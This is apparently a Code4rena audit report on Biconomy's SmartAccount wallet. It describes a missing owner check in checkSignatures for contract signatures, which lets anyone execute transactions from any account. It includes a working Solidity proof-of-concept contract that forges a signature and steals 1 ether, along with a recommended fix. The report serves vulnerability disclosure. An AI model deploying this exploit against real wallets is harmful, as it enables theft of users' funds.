Biconomy - Smart Contract Wallet contest - Manboy's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

Anybody can execute any transaction they want on behalf of any SmartAccount via the execTransaction function.

Anybody can get any SmartAccount to execute any transaction they want as long as it is done through a contract account. For instance, transfer out all Ether, ERC20, and ERC721, or do any operation to which the SmartAccount has access.

Proof of Concept

Here is a simple example attack to illustrate the concept. In the example, 1 Ether is stolen. However, the transaction provided to the smartAccount.execTransaction function can be anything.

contract Attack {
    uint8 constant v = 0;
    bytes32 constant s = bytes32(uint256(1) * 65);
    bytes32 immutable r;
    address immutable attacker;

    constructor() {
        attacker = msg.sender;
        r = bytes32(uint256(uint160(address(this))));
    }

    function attack(ISmartAccount smartAccount) public {
        smartAccount.execTransaction(
            Transaction({
                to: attacker,
                value: 1 ether,
                data: "",
                operation: Operation.Call,
                targetTxGas: 0
            }),
            0,
            FeeRefund({
                baseGas: 0,
                gasPrice: 0,
                tokenGasPriceFactor: 0,
                gasToken: address(0),
                refundReceiver: payable(address(0))
            }),
            abi.encodePacked(getSignature(), uint256(0))
        );
    }

    function getSignature() public view returns (bytes memory) {
        return abi.encodePacked(r, s, v);
    }

    function isValidSignature(
        bytes memory,
        bytes memory
    ) public view virtual returns (bytes4) {
        return 0x20c13b0b;
    }
}

The root cause of this vulnerability layers in the SmartContract.checkSignatures function. The problem is that when the signature is a contract signature (v == 0). There is no check that the signer (_signer) is the owner. It checks that it's a valid signature but not who the signer is.

Tools Used

Manual review.

Recommended Mitigation Steps

Add the require(_signer == owner, "INVALID_SIGNATURE"); check in the case of a contract signature (v == 0). Or, since all paths should make this check, add the check at the end of the checkSignatures function outside conditional statements.

Another alternative is removing the whole case of allowing contract signatures.